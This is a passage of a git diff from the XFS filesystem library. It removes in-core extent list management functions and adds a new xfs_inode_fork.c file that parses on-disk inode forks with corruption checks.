ASSERT(((nextents - ext_diff) > 0) && - (nextents - ext_diff) < XFS_INLINE_EXTS); - - if (idx + ext_diff < nextents) { - memmove(&ifp->if_u2.if_inline_ext[idx], - &ifp->if_u2.if_inline_ext[idx + ext_diff], - (nextents - (idx + ext_diff)) * - sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u2.if_inline_ext[nextents - ext_diff], - 0, ext_diff * sizeof(xfs_bmbt_rec_t)); - } else { - memset(&ifp->if_u2.if_inline_ext[idx], 0, - ext_diff * sizeof(xfs_bmbt_rec_t)); - } -} - -/* - * This removes ext_diff extents from a linear (direct) extent list, - * beginning at extent index idx. If the extents are being removed - * from the end of the list (ie. truncate) then we just need to re- - * allocate the list to remove the extra space. Otherwise, if the - * extents are being removed from the middle of the existing extent - * entries, then we first need to move the extent records beginning - * at idx + ext_diff up in the list to overwrite the records being - * removed, then remove the extra space via kmem_realloc. - */ -void -xfs_iext_remove_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff) /* number of extents to remove */ -{ - xfs_extnum_t nextents; /* number of extents in file */ - int new_size; /* size of extents after removal */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - new_size = ifp->if_bytes - - (ext_diff * sizeof(xfs_bmbt_rec_t)); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - - if (new_size == 0) { - xfs_iext_destroy(ifp); - return; - } - /* Move extents up in the list (if needed) */ - if (idx + ext_diff < nextents) { - memmove(&ifp->if_u1.if_extents[idx], - &ifp->if_u1.if_extents[idx + ext_diff], - (nextents - (idx + ext_diff)) * - sizeof(xfs_bmbt_rec_t)); - } - memset(&ifp->if_u1.if_extents[nextents - ext_diff], - 0, ext_diff * sizeof(xfs_bmbt_rec_t)); - /* - * Reallocate the direct extent list. If the extents - * will fit inside the inode then xfs_iext_realloc_direct - * will switch from direct to inline extent allocation - * mode for us. - */ - xfs_iext_realloc_direct(ifp, new_size); - ifp->if_bytes = new_size; -} - -/* - * This is called when incore extents are being removed from the - * indirection array and the extents being removed span multiple extent - * buffers. The idx parameter contains the file extent index where we - * want to begin removing extents, and the count parameter contains - * how many extents need to be removed. - * - * |-------| |-------| - * | nex1 | | | nex1 - number of extents before idx - * |-------| | count | - * | | | | count - number of extents being removed at idx - * | count | |-------| - * | | | nex2 | nex2 - number of extents after idx + count - * |-------| |-------| - */ -void -xfs_iext_remove_indirect( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing extents */ - int count) /* number of extents to remove */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int erp_idx = 0; /* indirection array index */ - xfs_extnum_t ext_cnt; /* extents left to remove */ - xfs_extnum_t ext_diff; /* extents to remove in current list */ - xfs_extnum_t nex1; /* number of extents before idx */ - xfs_extnum_t nex2; /* extents after idx + count */ - int page_idx = idx; /* index in target extent list */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); - ASSERT(erp != NULL); - nex1 = page_idx; - ext_cnt = count; - while (ext_cnt) { - nex2 = MAX((erp->er_extcount - (nex1 + ext_cnt)), 0); - ext_diff = MIN(ext_cnt, (erp->er_extcount - nex1)); - /* - * Check for deletion of entire list; - * xfs_iext_irec_remove() updates extent offsets. - */ - if (ext_diff == erp->er_extcount) { - xfs_iext_irec_remove(ifp, erp_idx); - ext_cnt -= ext_diff; - nex1 = 0; - if (ext_cnt) { - ASSERT(erp_idx < ifp->if_real_bytes / - XFS_IEXT_BUFSZ); - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - nex1 = 0; - continue; - } else { - break; - } - } - /* Move extents up (if needed) */ - if (nex2) { - memmove(&erp->er_extbuf[nex1], - &erp->er_extbuf[nex1 + ext_diff], - nex2 * sizeof(xfs_bmbt_rec_t)); - } - /* Zero out rest of page */ - memset(&erp->er_extbuf[nex1 + nex2], 0, (XFS_IEXT_BUFSZ - - ((nex1 + nex2) * sizeof(xfs_bmbt_rec_t)))); - /* Update remaining counters */ - erp->er_extcount -= ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -ext_diff); - ext_cnt -= ext_diff; - nex1 = 0; - erp_idx++; - erp++; - } - ifp->if_bytes -= count * sizeof(xfs_bmbt_rec_t); - xfs_iext_irec_compact(ifp); -} - -/* - * Create, destroy, or resize a linear (direct) block of extents. - */ -void -xfs_iext_realloc_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* new size of extents */ -{ - int rnew_size; /* real new size of extents */ - - rnew_size = new_size; - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC) || - ((new_size >= 0) && (new_size <= XFS_IEXT_BUFSZ) && - (new_size != ifp->if_real_bytes))); - - /* Free extent records */ - if (new_size == 0) { - xfs_iext_destroy(ifp); - } - /* Resize direct extent list and zero any new bytes */ - else if (ifp->if_real_bytes) { - /* Check if extents will fit inside the inode */ - if (new_size <= XFS_INLINE_EXTS * sizeof(xfs_bmbt_rec_t)) { - xfs_iext_direct_to_inline(ifp, new_size / - (uint)sizeof(xfs_bmbt_rec_t)); - ifp->if_bytes = new_size; - return; - } - if (!is_power_of_2(new_size)){ - rnew_size = roundup_pow_of_two(new_size); - } - if (rnew_size != ifp->if_real_bytes) { - ifp->if_u1.if_extents = - kmem_realloc(ifp->if_u1.if_extents, - rnew_size, - ifp->if_real_bytes, KM_NOFS); - } - if (rnew_size > ifp->if_real_bytes) { - memset(&ifp->if_u1.if_extents[ifp->if_bytes / - (uint)sizeof(xfs_bmbt_rec_t)], 0, - rnew_size - ifp->if_real_bytes); - } - } - /* - * Switch from the inline extent buffer to a direct - * extent list. Be sure to include the inline extent - * bytes in new_size. - */ - else { - new_size += ifp->if_bytes; - if (!is_power_of_2(new_size)) { - rnew_size = roundup_pow_of_two(new_size); - } - xfs_iext_inline_to_direct(ifp, rnew_size); - } - ifp->if_real_bytes = rnew_size; - ifp->if_bytes = new_size; -} - -/* - * Switch from linear (direct) extent records to inline buffer. - */ -void -xfs_iext_direct_to_inline( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t nextents) /* number of extents in file */ -{ - ASSERT(ifp->if_flags & XFS_IFEXTENTS); - ASSERT(nextents <= XFS_INLINE_EXTS); - /* - * The inline buffer was zeroed when we switched - * from inline to direct extent allocation mode, - * so we don't need to clear it here. - */ - memcpy(ifp->if_u2.if_inline_ext, ifp->if_u1.if_extents, - nextents * sizeof(xfs_bmbt_rec_t)); - kmem_free(ifp->if_u1.if_extents); - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - ifp->if_real_bytes = 0; -} - -/* - * Switch from inline buffer to linear (direct) extent records. - * new_size should already be rounded up to the next power of 2 - * by the caller (when appropriate), so use new_size as it is. - * However, since new_size may be rounded up, we can't update - * if_bytes here. It is the caller's responsibility to update - * if_bytes upon return. - */ -void -xfs_iext_inline_to_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* number of extents in file */ -{ - ifp->if_u1.if_extents = kmem_alloc(new_size, KM_NOFS); - memset(ifp->if_u1.if_extents, 0, new_size); - if (ifp->if_bytes) { - memcpy(ifp->if_u1.if_extents, ifp->if_u2.if_inline_ext, - ifp->if_bytes); - memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * - sizeof(xfs_bmbt_rec_t)); - } - ifp->if_real_bytes = new_size; -} - -/* - * Resize an extent indirection array to new_size bytes. - */ -STATIC void -xfs_iext_realloc_indirect( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* new indirection array size */ -{ - int nlists; /* number of irec's (ex lists) */ - int size; /* current indirection array size */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - size = nlists * sizeof(xfs_ext_irec_t); - ASSERT(ifp->if_real_bytes); - ASSERT((new_size >= 0) && (new_size != size)); - if (new_size == 0) { - xfs_iext_destroy(ifp); - } else { - ifp->if_u1.if_ext_irec = (xfs_ext_irec_t *) - kmem_realloc(ifp->if_u1.if_ext_irec, - new_size, size, KM_NOFS); - } -} - -/* - * Switch from indirection array to linear (direct) extent allocations. - */ -STATIC void -xfs_iext_indirect_to_direct( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_bmbt_rec_host_t *ep; /* extent record pointer */ - xfs_extnum_t nextents; /* number of extents in file */ - int size; /* size of file extents */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(nextents <= XFS_LINEAR_EXTS); - size = nextents * sizeof(xfs_bmbt_rec_t); - - xfs_iext_irec_compact_pages(ifp); - ASSERT(ifp->if_real_bytes == XFS_IEXT_BUFSZ); - - ep = ifp->if_u1.if_ext_irec->er_extbuf; - kmem_free(ifp->if_u1.if_ext_irec); - ifp->if_flags &= ~XFS_IFEXTIREC; - ifp->if_u1.if_extents = ep; - ifp->if_bytes = size; - if (nextents < XFS_LINEAR_EXTS) { - xfs_iext_realloc_direct(ifp, size); - } -} - -/* - * Free incore file extents. - */ -void -xfs_iext_destroy( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - if (ifp->if_flags & XFS_IFEXTIREC) { - int erp_idx; - int nlists; - - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { - xfs_iext_irec_remove(ifp, erp_idx); - } - ifp->if_flags &= ~XFS_IFEXTIREC; - } else if (ifp->if_real_bytes) { - kmem_free(ifp->if_u1.if_extents); - } else if (ifp->if_bytes) { - memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * - sizeof(xfs_bmbt_rec_t)); - } - ifp->if_u1.if_extents = NULL; - ifp->if_real_bytes = 0; - ifp->if_bytes = 0; -} - -/* - * Return a pointer to the extent record for file system block bno. - */ -xfs_bmbt_rec_host_t * /* pointer to found extent record */ -xfs_iext_bno_to_ext( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fileoff_t bno, /* block number to search for */ - xfs_extnum_t *idxp) /* index of target extent */ -{ - xfs_bmbt_rec_host_t *base; /* pointer to first extent */ - xfs_filblks_t blockcount = 0; /* number of blocks in extent */ - xfs_bmbt_rec_host_t *ep = NULL; /* pointer to target extent */ - xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ - int high; /* upper boundary in search */ - xfs_extnum_t idx = 0; /* index of target extent */ - int low; /* lower boundary in search */ - xfs_extnum_t nextents; /* number of file extents */ - xfs_fileoff_t startoff = 0; /* start offset of extent */ - - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - if (nextents == 0) { - *idxp = 0; - return NULL; - } - low = 0; - if (ifp->if_flags & XFS_IFEXTIREC) { - /* Find target extent list */ - int erp_idx = 0; - erp = xfs_iext_bno_to_irec(ifp, bno, &erp_idx); - base = erp->er_extbuf; - high = erp->er_extcount - 1; - } else { - base = ifp->if_u1.if_extents; - high = nextents - 1; - } - /* Binary search extent records */ - while (low <= high) { - idx = (low + high) >> 1; - ep = base + idx; - startoff = xfs_bmbt_get_startoff(ep); - blockcount = xfs_bmbt_get_blockcount(ep); - if (bno < startoff) { - high = idx - 1; - } else if (bno >= startoff + blockcount) { - low = idx + 1; - } else { - /* Convert back to file-based extent index */ - if (ifp->if_flags & XFS_IFEXTIREC) { - idx += erp->er_extoff; - } - *idxp = idx; - return ep; - } - } - /* Convert back to file-based extent index */ - if (ifp->if_flags & XFS_IFEXTIREC) { - idx += erp->er_extoff; - } - if (bno >= startoff + blockcount) { - if (++idx == nextents) { - ep = NULL; - } else { - ep = xfs_iext_get_ext(ifp, idx); - } - } - *idxp = idx; - return ep; -} - -/* - * Return a pointer to the indirection array entry containing the - * extent record for filesystem block bno. Store the index of the - * target irec in *erp_idxp. - */ -xfs_ext_irec_t * /* pointer to found extent record */ -xfs_iext_bno_to_irec( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fileoff_t bno, /* block number to search for */ - int *erp_idxp) /* irec index of target ext list */ -{ - xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ - xfs_ext_irec_t *erp_next; /* next indirection array entry */ - int erp_idx; /* indirection array index */ - int nlists; /* number of extent irec's (lists) */ - int high; /* binary search upper limit */ - int low; /* binary search lower limit */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp_idx = 0; - low = 0; - high = nlists - 1; - while (low <= high) { - erp_idx = (low + high) >> 1; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - erp_next = erp_idx < nlists - 1 ? erp + 1 : NULL; - if (bno < xfs_bmbt_get_startoff(erp->er_extbuf)) { - high = erp_idx - 1; - } else if (erp_next && bno >= - xfs_bmbt_get_startoff(erp_next->er_extbuf)) { - low = erp_idx + 1; - } else { - break; - } - } - *erp_idxp = erp_idx; - return erp; -} - -/* - * Return a pointer to the indirection array entry containing the - * extent record at file extent index *idxp. Store the index of the - * target irec in *erp_idxp and store the page index of the target - * extent record in *idxp. - */ -xfs_ext_irec_t * -xfs_iext_idx_to_irec( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t *idxp, /* extent index (file -> page) */ - int *erp_idxp, /* pointer to target irec */ - int realloc) /* new bytes were just added */ -{ - xfs_ext_irec_t *prev; /* pointer to previous irec */ - xfs_ext_irec_t *erp = NULL; /* pointer to current irec */ - int erp_idx; /* indirection array index */ - int nlists; /* number of irec's (ex lists) */ - int high; /* binary search upper limit */ - int low; /* binary search lower limit */ - xfs_extnum_t page_idx = *idxp; /* extent index in target list */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - ASSERT(page_idx >= 0); - ASSERT(page_idx <= ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); - ASSERT(page_idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t) || realloc); - - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp_idx = 0; - low = 0; - high = nlists - 1; - - /* Binary search extent irec's */ - while (low <= high) { - erp_idx = (low + high) >> 1; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - prev = erp_idx > 0 ? erp - 1 : NULL; - if (page_idx < erp->er_extoff || (page_idx == erp->er_extoff && - realloc && prev && prev->er_extcount < XFS_LINEAR_EXTS)) { - high = erp_idx - 1; - } else if (page_idx > erp->er_extoff + erp->er_extcount || - (page_idx == erp->er_extoff + erp->er_extcount && - !realloc)) { - low = erp_idx + 1; - } else if (page_idx == erp->er_extoff + erp->er_extcount && - erp->er_extcount == XFS_LINEAR_EXTS) { - ASSERT(realloc); - page_idx = 0; - erp_idx++; - erp = erp_idx < nlists ? erp + 1 : NULL; - break; - } else { - page_idx -= erp->er_extoff; - break; - } - } - *idxp = page_idx; - *erp_idxp = erp_idx; - return(erp); -} - -/* - * Allocate and initialize an indirection array once the space needed - * for incore extents increases above XFS_IEXT_BUFSZ. - */ -void -xfs_iext_irec_init( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - xfs_extnum_t nextents; /* number of extents in file */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(nextents <= XFS_LINEAR_EXTS); - - erp = kmem_alloc(sizeof(xfs_ext_irec_t), KM_NOFS); - - if (nextents == 0) { - ifp->if_u1.if_extents = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); - } else if (!ifp->if_real_bytes) { - xfs_iext_inline_to_direct(ifp, XFS_IEXT_BUFSZ); - } else if (ifp->if_real_bytes < XFS_IEXT_BUFSZ) { - xfs_iext_realloc_direct(ifp, XFS_IEXT_BUFSZ); - } - erp->er_extbuf = ifp->if_u1.if_extents; - erp->er_extcount = nextents; - erp->er_extoff = 0; - - ifp->if_flags |= XFS_IFEXTIREC; - ifp->if_real_bytes = XFS_IEXT_BUFSZ; - ifp->if_bytes = nextents * sizeof(xfs_bmbt_rec_t); - ifp->if_u1.if_ext_irec = erp; - - return; -} - -/* - * Allocate and initialize a new entry in the indirection array. - */ -xfs_ext_irec_t * -xfs_iext_irec_new( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx) /* index for new irec */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - - /* Resize indirection array */ - xfs_iext_realloc_indirect(ifp, ++nlists * - sizeof(xfs_ext_irec_t)); - /* - * Move records down in the array so the - * new page can use erp_idx. - */ - erp = ifp->if_u1.if_ext_irec; - for (i = nlists - 1; i > erp_idx; i--) { - memmove(&erp[i], &erp[i-1], sizeof(xfs_ext_irec_t)); - } - ASSERT(i == erp_idx); - - /* Initialize new extent record */ - erp = ifp->if_u1.if_ext_irec; - erp[erp_idx].er_extbuf = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); - ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; - memset(erp[erp_idx].er_extbuf, 0, XFS_IEXT_BUFSZ); - erp[erp_idx].er_extcount = 0; - erp[erp_idx].er_extoff = erp_idx > 0 ? - erp[erp_idx-1].er_extoff + erp[erp_idx-1].er_extcount : 0; - return (&erp[erp_idx]); -} - -/* - * Remove a record from the indirection array. - */ -void -xfs_iext_irec_remove( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx) /* irec index to remove */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - if (erp->er_extbuf) { - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, - -erp->er_extcount); - kmem_free(erp->er_extbuf); - } - /* Compact extent records */ - erp = ifp->if_u1.if_ext_irec; - for (i = erp_idx; i < nlists - 1; i++) { - memmove(&erp[i], &erp[i+1], sizeof(xfs_ext_irec_t)); - } - /* - * Manually free the last extent record from the indirection - * array. A call to xfs_iext_realloc_indirect() with a size - * of zero would result in a call to xfs_iext_destroy() which - * would in turn call this function again, creating a nasty - * infinite loop. - */ - if (--nlists) { - xfs_iext_realloc_indirect(ifp, - nlists * sizeof(xfs_ext_irec_t)); - } else { - kmem_free(ifp->if_u1.if_ext_irec); - } - ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; -} - -/* - * This is called to clean up large amounts of unused memory allocated - * by the indirection array. Before compacting anything though, verify - * that the indirection array is still needed and switch back to the - * linear extent list (or even the inline buffer) if possible. The - * compaction policy is as follows: - * - * Full Compaction: Extents fit into a single page (or inline buffer) - * Partial Compaction: Extents occupy less than 50% of allocated space - * No Compaction: Extents occupy at least 50% of allocated space - */ -void -xfs_iext_irec_compact( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_extnum_t nextents; /* number of extents in file */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - - if (nextents == 0) { - xfs_iext_destroy(ifp); - } else if (nextents <= XFS_INLINE_EXTS) { - xfs_iext_indirect_to_direct(ifp); - xfs_iext_direct_to_inline(ifp, nextents); - } else if (nextents <= XFS_LINEAR_EXTS) { - xfs_iext_indirect_to_direct(ifp); - } else if (nextents < (nlists * XFS_LINEAR_EXTS) >> 1) { - xfs_iext_irec_compact_pages(ifp); - } -} - -/* - * Combine extents from neighboring extent pages. - */ -void -xfs_iext_irec_compact_pages( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_ext_irec_t *erp, *erp_next;/* pointers to irec entries */ - int erp_idx = 0; /* indirection array index */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - while (erp_idx < nlists - 1) { - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - erp_next = erp + 1; - if (erp_next->er_extcount <= - (XFS_LINEAR_EXTS - erp->er_extcount)) { - memcpy(&erp->er_extbuf[erp->er_extcount], - erp_next->er_extbuf, erp_next->er_extcount * - sizeof(xfs_bmbt_rec_t)); - erp->er_extcount += erp_next->er_extcount; - /* - * Free page before removing extent record - * so er_extoffs don't get modified in - * xfs_iext_irec_remove. - */ - kmem_free(erp_next->er_extbuf); - erp_next->er_extbuf = NULL; - xfs_iext_irec_remove(ifp, erp_idx + 1); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - } else { - erp_idx++; - } - } -} - -/* - * This is called to update the er_extoff field in the indirection - * array when extents have been added or removed from one of the - * extent lists. erp_idx contains the irec index to begin updating - * at and ext_diff contains the number of extents that were added - * or removed. - */ -void -xfs_iext_irec_update_extoffs( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx, /* irec index to update */ - int ext_diff) /* number of new extents */ -{ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (i = erp_idx; i < nlists; i++) { - ifp->if_u1.if_ext_irec[i].er_extoff += ext_diff; - } -} diff --git a/libxfs/xfs_inode_fork.c b/libxfs/xfs_inode_fork.c new file mode 100644 index 0000000..1c006f9 --- /dev/null +++ b/libxfs/xfs_inode_fork.c @@ -0,0 +1,1890 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +kmem_zone_t *xfs_ifork_zone; + +STATIC int xfs_iformat_local(xfs_inode_t *, xfs_dinode_t *, int, int); +STATIC int xfs_iformat_extents(xfs_inode_t *, xfs_dinode_t *, int); +STATIC int xfs_iformat_btree(xfs_inode_t *, xfs_dinode_t *, int); + +#ifdef DEBUG +/* + * Make sure that the extents in the given memory buffer + * are valid. + */ +void +xfs_validate_extents( + xfs_ifork_t *ifp, + int nrecs, + xfs_exntfmt_t fmt) +{ + xfs_bmbt_irec_t irec; + xfs_bmbt_rec_host_t rec; + int i; + + for (i = 0; i < nrecs; i++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + rec.l0 = get_unaligned(&ep->l0); + rec.l1 = get_unaligned(&ep->l1); + xfs_bmbt_get_all(&rec, &irec); + if (fmt == XFS_EXTFMT_NOSTATE) + ASSERT(irec.br_state == XFS_EXT_NORM); + } +} +#else /* DEBUG */ +#define xfs_validate_extents(ifp, nrecs, fmt) +#endif /* DEBUG */ + + +/* + * Move inode type and inode format specific information from the + * on-disk inode to the in-core inode. For fifos, devs, and sockets + * this means set if_rdev to the proper value. For files, directories, + * and symlinks this means to bring in the in-line data or extent + * pointers. For a file in B-tree format, only the root is immediately + * brought in-core. The rest will be in-lined in if_extents when it + * is first referenced (see xfs_iread_extents()). + */ +int +xfs_iformat_fork( + xfs_inode_t *ip, + xfs_dinode_t *dip) +{ + xfs_attr_shortform_t *atp; + int size; + int error = 0; + xfs_fsize_t di_size; + + if (unlikely(be32_to_cpu(dip->di_nextents) + + be16_to_cpu(dip->di_anextents) > + be64_to_cpu(dip->di_nblocks))) { + xfs_warn(ip->i_mount, + "corrupt dinode %Lu, extent total = %d, nblocks = %Lu.", + (unsigned long long)ip->i_ino, + (int)(be32_to_cpu(dip->di_nextents) + + be16_to_cpu(dip->di_anextents)), + (unsigned long long) + be64_to_cpu(dip->di_nblocks)); + XFS_CORRUPTION_ERROR("xfs_iformat(1)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + if (unlikely(dip->di_forkoff > ip->i_mount->m_sb.sb_inodesize)) { + xfs_warn(ip->i_mount, "corrupt dinode %Lu, forkoff = 0x%x.", + (unsigned long long)ip->i_ino, + dip->di_forkoff); + XFS_CORRUPTION_ERROR("xfs_iformat(2)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + if (unlikely((ip->i_d.di_flags & XFS_DIFLAG_REALTIME) && + !ip->i_mount->m_rtdev_targp)) { + xfs_warn(ip->i_mount, + "corrupt dinode %Lu, has realtime flag set.", + ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat(realtime)", + XFS_ERRLEVEL_LOW, ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + switch (ip->i_d.di_mode & S_IFMT) { + case S_IFIFO: + case S_IFCHR: + case S_IFBLK: + case S_IFSOCK: + if (unlikely(dip->di_format != XFS_DINODE_FMT_DEV)) { + XFS_CORRUPTION_ERROR("xfs_iformat(3)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + ip->i_d.di_size = 0; + ip->i_df.if_u2.if_rdev = xfs_dinode_get_rdev(dip); + break; + + case S_IFREG: + case S_IFLNK: + case S_IFDIR: + switch (dip->di_format) { + case XFS_DINODE_FMT_LOCAL: + /* + * no local regular files yet + */ + if (unlikely(S_ISREG(be16_to_cpu(dip->di_mode)))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (local format for regular file).", + (unsigned long long) ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat(4)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + di_size = be64_to_cpu(dip->di_size); + if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad size %Ld for local inode).", + (unsigned long long) ip->i_ino, + (long long) di_size); + XFS_CORRUPTION_ERROR("xfs_iformat(5)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + size = (int)di_size; + error = xfs_iformat_local(ip, dip, XFS_DATA_FORK, size); + break; + case XFS_DINODE_FMT_EXTENTS: + error = xfs_iformat_extents(ip, dip, XFS_DATA_FORK); + break; + case XFS_DINODE_FMT_BTREE: + error = xfs_iformat_btree(ip, dip, XFS_DATA_FORK); + break; + default: + XFS_ERROR_REPORT("xfs_iformat(6)", XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + break; + + default: + XFS_ERROR_REPORT("xfs_iformat(7)", XFS_ERRLEVEL_LOW, ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + if (error) { + return error; + } + if (!XFS_DFORK_Q(dip)) + return 0; + + ASSERT(ip->i_afp == NULL); + ip->i_afp = kmem_zone_zalloc(xfs_ifork_zone, KM_SLEEP | KM_NOFS); + + switch (dip->di_aformat) { + case XFS_DINODE_FMT_LOCAL: + atp = (xfs_attr_shortform_t *)XFS_DFORK_APTR(dip); + size = be16_to_cpu(atp->hdr.totsize); + + if (unlikely(size < sizeof(struct xfs_attr_sf_hdr))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad attr fork size %Ld).", + (unsigned long long) ip->i_ino, + (long long) size); + XFS_CORRUPTION_ERROR("xfs_iformat(8)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + error = xfs_iformat_local(ip, dip, XFS_ATTR_FORK, size); + break; + case XFS_DINODE_FMT_EXTENTS: + error = xfs_iformat_extents(ip, dip, XFS_ATTR_FORK); + break; + case XFS_DINODE_FMT_BTREE: + error = xfs_iformat_btree(ip, dip, XFS_ATTR_FORK); + break; + default: + error = XFS_ERROR(EFSCORRUPTED); + break; + } + if (error) { + kmem_zone_free(xfs_ifork_zone, ip->i_afp); + ip->i_afp = NULL; + xfs_idestroy_fork(ip, XFS_DATA_FORK); + } + return error; +} + +/* + * The file is in-lined in the on-disk inode. + * If it fits into if_inline_data, then copy + * it there, otherwise allocate a buffer for it + * and copy the data there. Either way, set + * if_data to point at the data. + * If we allocate a buffer for the data, make + * sure that its size is a multiple of 4 and + * record the real size in i_real_bytes. + */ +STATIC int +xfs_iformat_local( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork, + int size) +{ + xfs_ifork_t *ifp; + int real_size; + + /* + * If the size is unreasonable, then something + * is wrong and we just bail out rather than crash in + * kmem_alloc() or memcpy() below. + */ + if (unlikely(size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad size %d for local fork, size = %d).", + (unsigned long long) ip->i_ino, size, + XFS_DFORK_SIZE(dip, ip->i_mount, whichfork)); + XFS_CORRUPTION_ERROR("xfs_iformat_local", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + ifp = XFS_IFORK_PTR(ip, whichfork); + real_size = 0; + if (size == 0) + ifp->if_u1.if_data = NULL; + else if (size <= 